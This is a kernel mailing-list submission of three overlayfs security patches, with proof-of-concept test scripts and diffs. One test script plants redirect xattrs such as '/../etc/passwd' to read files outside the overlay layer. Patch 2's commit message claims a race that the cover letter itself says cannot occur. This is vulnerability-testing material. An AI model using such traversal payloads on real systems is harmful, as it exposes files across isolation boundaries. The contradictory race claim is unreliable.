[PATCH v3 0/3] overlayfs: security hardening patches (with PoCs)

"Rodrigo H." <[email protected]> Mon, 22 Jun 2026 12:21:28 -0300
Newsgroups org.kernel.vger.linux-unionfs
Message-ID <CAEAeJizPbZh=bcZk=iDhdw-LS-_ZG7V6SmvMprxVxS+m6BevGw@mail.gmail.com>
Greg,

Thank you for the previous review. I've now properly prepared the
patches following the kernel submission process.

Summary of changes:

| Patch | Description | Reference |
|-------|-------------|-----------|
| 1/3 | Replace component walk in ovl_lookup_layer() with vfs_path_lookup()
using LOOKUP_BENEATH | Matches ovl_lookup_data_layer() at namei.c:403-404 |
| 2/3 | Convert long refcount → refcount_t; add refcount_inc_not_zero() in
ovl_cache_get() | Per Amir's March 2024 question |
| 3/3 | Add ovl_dir_cache_drop() helper with refcount_read() guard | Based
on Nirmoy Das's RFC |

Testing:

- PoC #1 (poc1_path_traversal.sh): Confirms that `trusted.overlay.redirect`
  with `/../etc/passwd` is blocked after PATCH 1
- PoC #2 (poc2_refcount_race.c): 8 readdir + 8 open/close threads for 15s;
  monitors dmesg for refcount_t warnings

Important note on PATCH 2/3:

After re-analysis of the current code, both ovl_cache_get() (readdir.c:482)
and ovl_cache_put() (readdir.c:295) execute under inode_lock exclusive
(via WRAP_DIR_ITER and ovl_dir_release()). The long refcount is not
currently subject to a race condition.

This conversion to refcount_t is defense-in-depth — it's the correct
kernel type for reference counters and provides saturation protection.

The real fixes are PATCH 1 (path traversal) and PATCH 3 (impure cache
UAF prevention). PATCH 2 is still valid as a hardening measure.

All patches are based on: ef0c9f75a195 (Nirmoy Das's commit)
Branch: ovl-fixes-v3

Full PoC scripts are attached.

Thank you for your patience and guidance,

Rodrigo Henrique de Souza
---
poc2_refcount_race.c (text/x-csrc, 4.6 KB)
// PoC #2: OverlayFS dir cache refcount race test
//
// Tests concurrent getdents64 + open/close on overlay directory
// to exercise the ovl_dir_cache refcount path with refcount_t.
//
// Compile: gcc -pthread -O2 -o poc2_refcount_race poc2_refcount_race.c
// Usage:   sudo ./poc2_refcount_race [<overlay_dir>]
//
// With the original 'long refcount' code, non-atomic increments
// in ovl_cache_get() (readdir.c:491) can race with concurrent
// ovl_cache_put() in ovl_dir_release() (readdir.c:1029) if the
// inode_lock is ever weakened or if a different code path is
// introduced.  The refcount_t conversion prevents this class of
// bugs by providing saturation and atomic semantics.
//
// With the fix applied, this test should run without warnings.
// Check dmesg for: "refcount_t: saturation" or "refcount_t: underflow"

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <dirent.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <linux/fs.h>

#define NR_THREADS_READDIR 8
#define NR_THREADS_OPENCLOSE 8
#define DURATION_SEC 15
#define FILL_DIR_ENTRIES 1000

static volatile int running = 1;
static char dir_path[4096];

// Fill a temp directory with many entries so the cache is worth racing over
static void fill_directory(const char *path, int count)
{
	char buf[4096];
	int i;

	for (i = 0; i < count; i++) {
		snprintf(buf, sizeof(buf), "%s/file_%04d", path, i);
		int fd = open(buf, O_WRONLY | O_CREAT | O_TRUNC, 0644);
		if (fd >= 0)
			close(fd);
	}
}

// Thread: repeatedly call getdents64 via readdir
static void *readdir_worker(void *arg)
{
	(void)arg;
	while (running) {
		DIR *d = opendir(dir_path);
		if (!d) {
			usleep(1000);
			continue;
		}

		struct dirent *entry;
		while ((entry = readdir(d)) != NULL) {
			// Volatile read to prevent optimization
			__asm__ volatile("" : : "r"(entry->d_ino) : "memory");
		}
		closedir(d);
	}
	return NULL;
}

// Thread: repeatedly open and close the directory
static void *openclose_worker(void *arg)
{
	(void)arg;
	while (running) {
		int fd = open(dir_path, O_RDONLY | O_DIRECTORY);
		if (fd >= 0) {
			// Small delay to increase race window
			usleep(1);
			close(fd);
		} else {
			usleep(1000);
		}
	}
	return NULL;
}

// Monitor dmesg for refcount_t warnings
static void *dmesg_monitor(void *arg)
{
	(void)arg;
	FILE *fp = popen("dmesg -w 2>/dev/null | head -20", "r");
	if (!fp)
		return NULL;

	char buf[256];
	while (running && fgets(buf, sizeof(buf), fp)) {
		if (strstr(buf, "refcount_t") ||
		    strstr(buf, "UAF") ||
		    strstr(buf, "use-after-free") ||
		    strstr(buf, "BUG:")) {
			printf("\n!!! KERNEL DETECTED: %s\n", buf);
		}
	}
	pclose(fp);
	return NULL;
}

int main(int argc, char *argv[])
{
	char tmpdir[256] = "/tmp/ovl_racydir_XXXXXX";

	if (argc >= 2) {
		strncpy(dir_path, argv[1], sizeof(dir_path) - 1);
	} else {
		// Create a test overlay
		char lower[] = "/tmp/lower_XXXXXX";
		char upper[] = "/tmp/upper_XXXXXX";
		char work[] = "/tmp/work_XXXXXX";
		char merge[] = "/tmp/merge_XXXXXX";

		if (!mkdtemp(lower) || !mkdtemp(upper) || !mkdtemp(work)) {
			perror("mkdtemp");
			return 1;
		}
		if (mkdir(merge, 0755) && errno != EEXIST) {
			perror("mkdir merge");
			return 1;
		}

		fill_directory(lower, FILL_DIR_ENTRIES);

		char opts[512];
		snprintf(opts, sizeof(opts),
			 "lowerdir=%s,upperdir=%s,workdir=%s",
			 lower, upper, work);

		if (mount("overlay", merge, "overlay", 0, opts) != 0) {
			perror("mount overlay");
			return 1;
		}

		snprintf(dir_path, sizeof(dir_path), "%s", merge);

		printf("[*] Created overlay: lower=%s upper=%s work=%s merge=%s\n",
		       lower, upper, work, merge);
	}

	printf("[*] Testing on: %s\n", dir_path);
	printf("[*] Launching %d readdir + %d open/close threads for %ds\n",
	       NR_THREADS_READDIR, NR_THREADS_OPENCLOSE, DURATION_SEC);
	printf("[*] Monitor dmesg for kernel warnings\n");

	pthread_t threads[NR_THREADS_READDIR + NR_THREADS_OPENCLOSE + 1];
	int i, t = 0;

	// Launch dmesg monitor
	pthread_create(&threads[t++], NULL, dmesg_monitor, NULL);

	// Launch readdir threads
	for (i = 0; i < NR_THREADS_READDIR; i++)
		pthread_create(&threads[t++], NULL, readdir_worker, NULL);

	// Launch open/close threads
	for (i = 0; i < NR_THREADS_OPENCLOSE; i++)
		pthread_create(&threads[t++], NULL, openclose_worker, NULL);

	// Let it run
	sleep(DURATION_SEC);
	running = 0;

	// Wait for all threads
	for (i = 0; i < t; i++)
		pthread_join(threads[i], NULL);

	printf("\n[*] Test complete. Check dmesg for any kernel warnings.\n");
	printf("    No warnings = refcount_t conversion is stable.\n");

	return 0;
}
poc1_path_traversal.sh (application/x-shellscript, 3.2 KB)
#!/bin/bash
# PoC #1: OverlayFS Path Traversal via Redirect + ".." escape
#
# Exploits: ovl_lookup_layer() using lookup_one_unlocked() without
#           mount-boundary enforcement (missing LOOKUP_BENEATH).
# Mechanism: absolute redirect containing ".." traverses above layer root.
# Requires: CAP_SYS_ADMIN, redirect_dir=on
#
# Kernel versions: All overlayfs since redirect support was added

set -e -o pipefail

BASE_DIR=$(mktemp -d)
LOWER_DIR="$BASE_DIR/lower"
UPPER_DIR="$BASE_DIR/upper"
WORK_DIR="$BASE_DIR/work"
MOUNT_DIR="$BASE_DIR/mnt"
ESCAPE_TARGET="/tmp/overlay_escape_test"

mkdir -p "$LOWER_DIR/subdir" "$UPPER_DIR" "$WORK_DIR" "$MOUNT_DIR"

# Create a secret file outside the overlay
echo "OVERLAYFS_ESCAPE_SUCCESS" > "$ESCAPE_TARGET"

# Create a directory with a malicious redirect that escapes the layer
# The redirect "/../tmp/overlay_escape_test" starts from the layer root
# and uses ".." to walk up into the host filesystem
setfattr -n trusted.overlay.redirect -v "/../tmp/overlay_escape_test" \
        "$LOWER_DIR/subdir" 2>/dev/null || {
    echo "SKIP: setfattr not available or fs doesn't support xattrs"
    rm -rf "$BASE_DIR" "$ESCAPE_TARGET"
    exit 0
}

# Verify the xattr was set
echo "[*] Lower dir xattr:"
getfattr -d "$LOWER_DIR/subdir" 2>/dev/null || true

# Mount overlay with redirect_dir=on
mount -t overlay overlay \
      -o lowerdir="$LOWER_DIR",upperdir="$UPPER_DIR",workdir="$WORK_DIR",redirect_dir=on \
      "$MOUNT_DIR" 2>/dev/null || {
    echo "SKIP: overlay mount failed (missing CAP_SYS_ADMIN or kernel support)"
    rm -rf "$BASE_DIR" "$ESCAPE_TARGET"
    exit 0
}

echo "[*] Overlay mounted at $MOUNT_DIR"

# Test 1: Stat the directory with the redirect
echo "[*] Test 1: stat() on redirect directory..."
if stat "$MOUNT_DIR/subdir" >/dev/null 2>&1; then
    echo "    stat OK"
fi

# Test 2: Try to access the escaped path through the redirect
echo "[*] Test 2: access escaped target via redirect..."
TARGET="$MOUNT_DIR/subdir"

if [ -f "$TARGET" ]; then
    CONTENT=$(cat "$TARGET" 2>/dev/null || true)
    if [ "$CONTENT" = "OVERLAYFS_ESCAPE_SUCCESS" ]; then
        echo "    VULNERABLE: Read file outside overlay layer!"
        echo "    Content: $CONTENT"
    else
        echo "    File exists but content unexpected: $CONTENT"
        echo "    (may be a regression or different behavior)"
    fi
else
    echo "    SECURE: Cannot access file outside layer (path_is_under blocked it)"
fi

# Test 3: Try /../etc/passwd style traversal
echo "[*] Test 3: /etc/passwd traversal via redirect..."
setfattr -n trusted.overlay.redirect -v "/../etc/passwd" \
        "$LOWER_DIR/subdir" 2>/dev/null || true

# Re-mount to clear cache
umount "$MOUNT_DIR"
mount -t overlay overlay \
      -o lowerdir="$LOWER_DIR",upperdir="$UPPER_DIR",workdir="$WORK_DIR",redirect_dir=on \
      "$MOUNT_DIR" 2>/dev/null || true

if [ -f "$MOUNT_DIR/subdir" ]; then
    HEAD=$(head -1 "$MOUNT_DIR/subdir" 2>/dev/null || true)
    if [ -n "$HEAD" ]; then
        echo "    VULNERABLE: Read /etc/passwd via redirect traversal!"
        echo "    First line: $HEAD"
    fi
else
    echo "    SECURE: /etc/passwd traversal blocked"
fi

# Cleanup
umount "$MOUNT_DIR" 2>/dev/null || true
rm -rf "$BASE_DIR" "$ESCAPE_TARGET"
echo "[*] Done"
0002-ovl-convert-dir-cache-refcount-to-refcount_t-with-at.patch (text/x-patch, 2.9 KB)
From c6e0a4a79a7ec4817deb540e1a4f80c46af8b7a6 Mon Sep 17 00:00:00 2001
From: Rodrigo Henrique de Souza <[email protected]>
Date: Mon, 22 Jun 2026 12:14:19 -0300
Subject: [PATCH 2/3] ovl: convert dir cache refcount to refcount_t with atomic
 semantics

The ovl_dir_cache refcount is currently a plain 'long' field with
non-atomic increments in ovl_cache_get() and manual decrements with
WARN_ON in ovl_cache_put(). A race exists where ovl_cache_get() can
find a valid cache and increment its refcount while ovl_cache_put()
is concurrently freeing it on another thread.

Fix this by:
- Converting struct ovl_dir_cache::refcount from long to refcount_t
- Using refcount_inc_not_zero() in ovl_cache_get() to atomically
  detect when a cache is being freed and treat it as a cache miss
- Using refcount_dec_and_test() in ovl_cache_put() with built-in
  underflow detection
- Moving ovl_inode_lock() outside refcount_dec_and_test() to
  protect the cache pointer check against concurrent ovl_cache_get()

Link: https://lore.kernel.org/linux-unionfs/CAOQ4uxh9sKB0XyKwzDt74MtaVcBGbZhVJMLZ3fyDTY-TUQo7VA@mail.gmail.com/
Signed-off-by: Rodrigo Henrique de Souza <[email protected]>
---
 fs/overlayfs/readdir.c | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/fs/overlayfs/readdir.c b/fs/overlayfs/readdir.c
index e7fe29cb6028..f930add14dda 100644
--- a/fs/overlayfs/readdir.c
+++ b/fs/overlayfs/readdir.c
@@ -10,6 +10,7 @@
 #include <linux/file.h>
 #include <linux/filelock.h>
 #include <linux/xattr.h>
+#include <linux/refcount.h>
 #include <linux/rbtree.h>
 #include <linux/security.h>
 #include <linux/cred.h>
@@ -34,7 +35,7 @@ struct ovl_cache_entry {
 };
 
 struct ovl_dir_cache {
-	long refcount;
+	refcount_t refcount;
 	u64 version;
 	struct list_head entries;
 	struct rb_root root;
@@ -296,11 +297,11 @@ static void ovl_cache_put(struct ovl_dir_file *od, struct inode *inode)
 {
 	struct ovl_dir_cache *cache = od->cache;
 
-	WARN_ON(cache->refcount <= 0);
-	cache->refcount--;
-	if (!cache->refcount) {
+	if (refcount_dec_and_test(&cache->refcount)) {
+		ovl_inode_lock(inode);
 		if (ovl_dir_cache(inode) == cache)
 			ovl_set_dir_cache(inode, NULL);
+		ovl_inode_unlock(inode);
 
 		ovl_cache_free(&cache->entries);
 		kfree(cache);
@@ -487,9 +488,9 @@ static struct ovl_dir_cache *ovl_cache_get(struct dentry *dentry)
 
 	cache = ovl_dir_cache(inode);
 	if (cache && ovl_inode_version_get(inode) == cache->version) {
-		WARN_ON(!cache->refcount);
-		cache->refcount++;
-		return cache;
+		if (refcount_inc_not_zero(&cache->refcount))
+			return cache;
+		/* Cache refcount is zero -- it is being freed */
 	}
 	ovl_set_dir_cache(d_inode(dentry), NULL);
 
@@ -497,7 +498,7 @@ static struct ovl_dir_cache *ovl_cache_get(struct dentry *dentry)
 	if (!cache)
 		return ERR_PTR(-ENOMEM);
 
-	cache->refcount = 1;
+	refcount_set(&cache->refcount, 1);
 	INIT_LIST_HEAD(&cache->entries);
 	cache->root = RB_ROOT;
 
-- 
2.54.0
0001-ovl-restrict-redirect-path-resolution-with-LOOKUP_BE.patch (text/x-patch, 3.1 KB)
From 4686520bacc81b96a38b8363524deab68b7a22b6 Mon Sep 17 00:00:00 2001
From: Rodrigo Henrique de Souza <[email protected]>
Date: Mon, 22 Jun 2026 12:13:20 -0300
Subject: [PATCH 1/3] ovl: restrict redirect path resolution with
 LOOKUP_BENEATH

ovl_lookup_layer() resolves absolute redirect paths by walking
component-by-component with ovl_lookup_single(), which uses
lookup_one_unlocked() without any mount-boundary enforcement.

An attacker with control of a lower layer can set
trusted.overlay.redirect to a path containing '..' or symlinks
that escape the layer root.

Fix this by using vfs_path_lookup() with LOOKUP_BENEATH |
LOOKUP_NO_SYMLINKS | LOOKUP_NO_XDEV for absolute redirect paths,
mirroring the identical protection already present in
ovl_lookup_data_layer(). These flags prevent:
- Escape from the layer mount root (LOOKUP_BENEATH)
- Following symlinks (LOOKUP_NO_SYMLINKS)
- Crossing device boundaries (LOOKUP_NO_XDEV)

Link: https://lore.kernel.org/linux-unionfs/CAOQ4uxh9sKB0XyKwzDt74MtaVcBGbZhVJMLZ3fyDTY-TUQo7VA@mail.gmail.com/
Signed-off-by: Rodrigo Henrique de Souza <[email protected]>
---
 fs/overlayfs/namei.c | 47 +++++++++++++++++++-------------------------
 1 file changed, 20 insertions(+), 27 deletions(-)

diff --git a/fs/overlayfs/namei.c b/fs/overlayfs/namei.c
index ca899fdfaafd..11c94e5f39b5 100644
--- a/fs/overlayfs/namei.c
+++ b/fs/overlayfs/namei.c
@@ -356,42 +356,35 @@ static int ovl_lookup_single(struct dentry *base, struct ovl_lookup_data *d,
 static int ovl_lookup_layer(struct dentry *base, struct ovl_lookup_data *d,
 			    struct dentry **ret, bool drop_negative)
 {
-	/* Counting down from the end, since the prefix can change */
-	size_t rem = d->name.len - 1;
-	struct dentry *dentry = NULL;
 	int err;
+	struct path path = { };
 
 	if (d->name.name[0] != '/')
 		return ovl_lookup_single(base, d, d->name.name, d->name.len,
 					 0, "", ret, drop_negative);
 
-	while (!IS_ERR_OR_NULL(base) && d_can_lookup(base)) {
-		const char *s = d->name.name + d->name.len - rem;
-		const char *next = strchrnul(s, '/');
-		size_t thislen = next - s;
-		bool end = !next[0];
-
-		/* Verify we did not go off the rails */
-		if (WARN_ON(s[-1] != '/'))
-			return -EIO;
-
-		err = ovl_lookup_single(base, d, s, thislen,
-					d->name.len - rem, next, &base,
-					drop_negative);
-		dput(dentry);
-		if (err)
-			return err;
-		dentry = base;
-		if (end)
-			break;
+	/*
+	 * Resolve absolute redirect paths from the layer root with the same
+	 * restrictions used by ovl_lookup_data_layer(): prevent symlink
+	 * traversal, device crossing, and escape from the layer root.
+	 */
+	err = vfs_path_lookup(d->layer->mnt->mnt_root, d->layer->mnt,
+			      d->name.name,
+			      LOOKUP_BENEATH | LOOKUP_NO_SYMLINKS | LOOKUP_NO_XDEV,
+			      &path);
+	if (err)
+		return err;
 
-		rem -= thislen + 1;
+	err = -EREMOTE;
+	if (WARN_ON(ovl_dentry_weird(path.dentry)))
+		goto out_path_put;
 
-		if (WARN_ON(rem >= d->name.len))
-			return -EIO;
-	}
-	*ret = dentry;
+	*ret = path.dentry;
 	return 0;
+
+out_path_put:
+	path_put(&path);
+	return err;
 }
 
 static int ovl_lookup_data_layer(struct dentry *dentry, const char *redirect,
-- 
2.54.0
0003-ovl-safely-drop-impure-directory-cache-with-refcount.patch (text/x-patch, 2 KB)
From f17aeca44e54a34b509e0f86b972def215fdaac2 Mon Sep 17 00:00:00 2001
From: Rodrigo Henrique de Souza <[email protected]>
Date: Mon, 22 Jun 2026 12:14:54 -0300
Subject: [PATCH 3/3] ovl: safely drop impure directory cache with refcount
 check

The impure cache in ovl_cache_get_impure() is not refcounted and
was freed unconditionally even if a merged directory cache still
had active references via od->cache in open directory files.

Add ovl_dir_cache_drop() which:
1. Removes the cache from the inode first
2. Only frees it if refcount_read() returns zero (no active users)
3. Preserves the cache if it is still in use by concurrent file
   descriptors

This prevents a UAF scenario where a merged dir cache refcount
is protecting a cache that ovl_cache_get_impure() frees out from
under it.

Signed-off-by: Rodrigo Henrique de Souza <[email protected]>
---
 fs/overlayfs/readdir.c | 23 +++++++++++++++++++++--
 1 file changed, 21 insertions(+), 2 deletions(-)

diff --git a/fs/overlayfs/readdir.c b/fs/overlayfs/readdir.c
index f930add14dda..4d93129810ba 100644
--- a/fs/overlayfs/readdir.c
+++ b/fs/overlayfs/readdir.c
@@ -293,6 +293,26 @@ void ovl_dir_cache_free(struct inode *inode)
 	}
 }
 
+static void ovl_dir_cache_drop(struct inode *inode)
+{
+	struct ovl_dir_cache *cache = ovl_dir_cache(inode);
+
+	if (!cache)
+		return;
+
+	ovl_set_dir_cache(inode, NULL);
+
+	/*
+	 * Merged dir caches are refcounted by open directory files.
+	 * Only free the cache if nobody is using it.
+	 */
+	if (refcount_read(&cache->refcount))
+		return;
+
+	ovl_cache_free(&cache->entries);
+	kfree(cache);
+}
+
 static void ovl_cache_put(struct ovl_dir_file *od, struct inode *inode)
 {
 	struct ovl_dir_cache *cache = od->cache;
@@ -704,8 +724,7 @@ static struct ovl_dir_cache *ovl_cache_get_impure(const struct path *path)
 		return cache;
 
 	/* Impure cache is not refcounted, free it here */
-	ovl_dir_cache_free(inode);
-	ovl_set_dir_cache(inode, NULL);
+	ovl_dir_cache_drop(inode);
 
 	cache = kzalloc_obj(struct ovl_dir_cache);
 	if (!cache)
-- 
2.54.0